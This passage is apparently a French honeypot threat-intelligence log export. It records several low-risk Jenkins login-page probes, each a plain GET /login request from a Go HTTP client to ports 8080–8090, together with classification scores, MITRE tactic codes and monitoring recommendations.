"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"matched_patterns": [
"pat-0599"
],
"matched_pattern_names": [
"HTTP alt 8888 probe"
],
"pattern_ids": [
"pat-0599"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "0c53640b5dd77c2536eeed513d833625",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8888,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b89fed1e6c2227c2911152d83a1f2dc6363005a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8888 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8888,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8888 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8888"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8081 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8081 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8081
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8081
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.875059505265444,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8081,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "42f0cdfde687c175be4bd286d7bf2708884f81e0",
"event_fingerprint": "c392e0bc933513b948daa7aeb55cb8ea496a895b",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "eb7bb7a037f77d0fb5b9ef8a8a38fbde",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b94a76c15624891131c4ae659c0c81dbd413d823",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 72
}
|
|
|
TCP |
8090 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8090 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8090
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8090
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "112b403ea5b0e3a7d0d331ab96d728785c3ab96b",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.898849113367722,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8090,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.8,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "9c4eec14d05d8c00da5b7af4e7038753a7611b45",
"event_fingerprint": "f1e6649c0d7d508382d12ef69014e8f2d1257b1e",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "40266fc776e64f535c40037051396a01",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8090,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9d2352b7367a835e98ef199aa53aaab0b406b578",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8090 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8090,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8090 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8090"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8080 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8080 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8080
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.882182446701055,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8080,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.2,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "4458403202cd4f888fb69789c0b6e3f4e52b1e37",
"event_fingerprint": "3fb648dcf91023ff04f2a460f04b9f68e7660456",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "54f2477f1e4a7d1a6d7b0c6a1ece1af3",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
